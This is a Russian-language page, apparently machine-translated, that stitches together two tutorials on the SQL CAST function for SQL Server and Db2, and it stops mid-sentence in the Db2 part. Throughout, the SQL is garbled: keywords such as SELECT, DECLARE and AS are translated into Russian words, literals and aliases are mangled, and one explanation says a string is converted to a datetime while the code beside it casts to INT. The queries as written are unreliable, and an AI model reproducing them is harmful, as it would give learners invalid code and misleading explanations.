 - Пример CAST FUNCTION SQL Server
ОБЪЯВИТЬ @str КАК VARCHAR (50)
НАБОР @str = '12121'

ВЫБРАТЬ CAST (@str AS INT) как результат;

- Прямые входы
ВЫБРАТЬ CAST ('1234' КАК ДЕСЯТИЧНОЕ (10; 2)) КАК Результат;

ВЫБЕРИТЕ ОТЛИВ (123.456 КАК INT) КАК Результат;

ВЫБЕРИТЕ CAST ('07 / 03/2017 'КАК ДАТА ВРЕМЯ) КАК Результат;

ВЫБРАТЬ CAST ('07 / 03/2017 'КАК DATETIME2) КАК Результат;

ВЫБРАТЬ CAST (GETDATE () AS VARCHAR (50)) AS Result; 

Сначала мы объявили переменную типа VARCHAR. Затем мы присваивали строковым данным «12121».

 ОБЪЯВИТЬ @str КАК VARCHAR (50)
НАБОР @str = '12121' 

Мы преобразуем строковое значение в целое число. Мы также присвоили новое имя «Результат», используя столбец ALIAS в SQL Server.

 SELECT CAST (@str AS INT) AS Результат; 

В следующей строке мы использовали функцию SQL CAST непосредственно для десятичного значения и преобразовали его в целое число (от большего к меньшему).Здесь функция CAST усекает десятичные значения и возвращает 123. Я предлагаю вам обратиться к типам данных SQL, чтобы узнать типы данных и их ограничения.

 ВЫБРАТЬ ВЫПОЛНЕНИЕ (123,456 КАК INT) КАК Результат; 

Преобразование строкового значения в тип данных DateTime и datetime2.

 SELECT CAST ('07 / 03/2017 'AS DATETIME) как результат;
ВЫБРАТЬ CAST ('07 / 03/2017 'КАК DATETIME2) КАК Результат; 

Наконец, мы использовали CAST для преобразования даты и времени в varchar

 ВЫБРАТЬ CAST (GETDATE () AS VARCHAR (50)) как результат; 

Пример 2 функции CAST

Здесь мы используем функцию Sql Server Cast для работы со значениями NULL.

 - Пример CAST FUNCTION SQL Server
ОБЪЯВИТЬ @str КАК VARCHAR (50)
НАБОР @str = NULL

ВЫБРАТЬ CAST (@str AS INT) как результат;

ВЫБРАТЬ CAST (NULL AS INT) как результат; 

Давайте посмотрим, что произойдет, если мы попытаемся преобразовать строку «Tutorial Gateway» в дату и время. Это невозможно, поэтому эта функция приведения возвращала ошибку в качестве вывода.

 SELECT CAST («Учебный шлюз» КАК INT) КАК Результат; 

Пример функции CAST 3

В этом примере мы применим функцию CAST к нашей таблице Employee.

КАСТ-КОД

 ВЫБЕРИТЕ [Имя]
      ,[Фамилия]
      ,[Образование]
      ,[Род занятий]
      , CAST ([Годовой доход] AS DECIMAL (10, 3)) КАК [Годовой доход]
      , CAST ([Продажи] КАК INT) КАК [Сумма продаж]
      , CAST ([HireDate] AS DATETIME2) AS [Дата найма]
  ОТ [Сотрудник] 

Преобразование значения из одного типа в другой

Резюме : в этом руководстве вы узнаете, как использовать выражение Db2 CAST для преобразования значения одного типа в другой.

Db2

Обзор выражения CAST

Следующий запрос добавляет число 1 и строку «2»:

 

SELECT 1 + результат '2' ИЗ sysibm.sysdummy1;

Результат — номер 3:

 

РЕЗУЛЬТАТ ------- 3

Db2 неявно преобразовал строку «2» в целое число 2 с помощью оператора сложения (+).

В следующем примере число 1 соединяется со строкой «2» с помощью оператора конкатенации (||)

 

SELECT 1 || Результат '2' ИЗ sysibm.sysdummy1;

Результат выглядит следующим образом:

 

РЕЗУЛЬТАТ ------ 12

В этом примере Db2 неявно преобразовал число 1 в строку «1» и соединил его со строкой «2».

По умолчанию, когда вы используете значения разных типов в выражении или передаете значения разных типов функциям, Db2 пытается преобразовать значение одного типа в другой, в зависимости от контекста.

Если преобразование завершилось неудачно, Db2 выдаст ошибку:

 

В аргументе строки символов функции «DECFLOAT» обнаружен недопустимый символ. . SQLCODE = -420, SQLSTATE = 22018, ДРАЙВЕР = 3,69,56

Чтобы явно преобразовать значение одного типа в другой, используйте выражение CAST со следующим синтаксисом:

 

CAST (значение AS data_type)

В этом синтаксисе вы указываете значение и тип данных, в которые вы хотите преобразовать значение.

Db2

Примеры CAST

Давайте рассмотрим несколько примеров использования выражения CAST .

1) Пример преобразования десятичной дроби в целое число

В этом примере используется выражение CAST для преобразования десятичной дроби в целое число:

 

SELECT CAST (10.7 AS INT) результат ИЗ sysibm.sysdummy1;

Вот результат:

 

РЕЗУЛЬТАТ ----------- 10

2) Преобразование десятичной дроби в десятичную с помощью примера меньшего масштаба

В этом примере используется выражение CAST для преобразования десятичного числа из DEC (5,3) в DEC (4,2) :

 

ВЫБРАТЬ CAST (10. 235 AS DEC (4,2)) результат ИЗ sysibm.sysdummy1;

Результат выглядит следующим образом:

 

РЕЗУЛЬТАТ ------ 10.23

3) Преобразование метки времени в пример времени

В следующем примере для преобразования метки времени во время используется выражение CAST :

 

SELECT Результат CAST (CURRENT TIMESTAMP AS TIME) ИЗ sysibm.sysdummy1;

Вот результат:

 

РЕЗУЛЬТАТ --------- 14:52:05

4) Пример преобразования метки времени в дату

В следующем примере для преобразования метки времени в дату используется выражение CAST :

 

SELECT Результат CAST (CURRENT TIMESTAMP AS DATE) ИЗ sysibm.sysdummy1;

Вот результат:

 

РЕЗУЛЬТАТ ----------- 2019-06-13

5) Пример преобразования строки в дату

В этом примере для преобразования строки в дату используется выражение CAST :

 

SELECT Результат CAST ('2019-06-25' AS DATE) ИЗ sysibm.

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *

Theme: Overlay by Kaira Extra Text
Cape Town, South Africa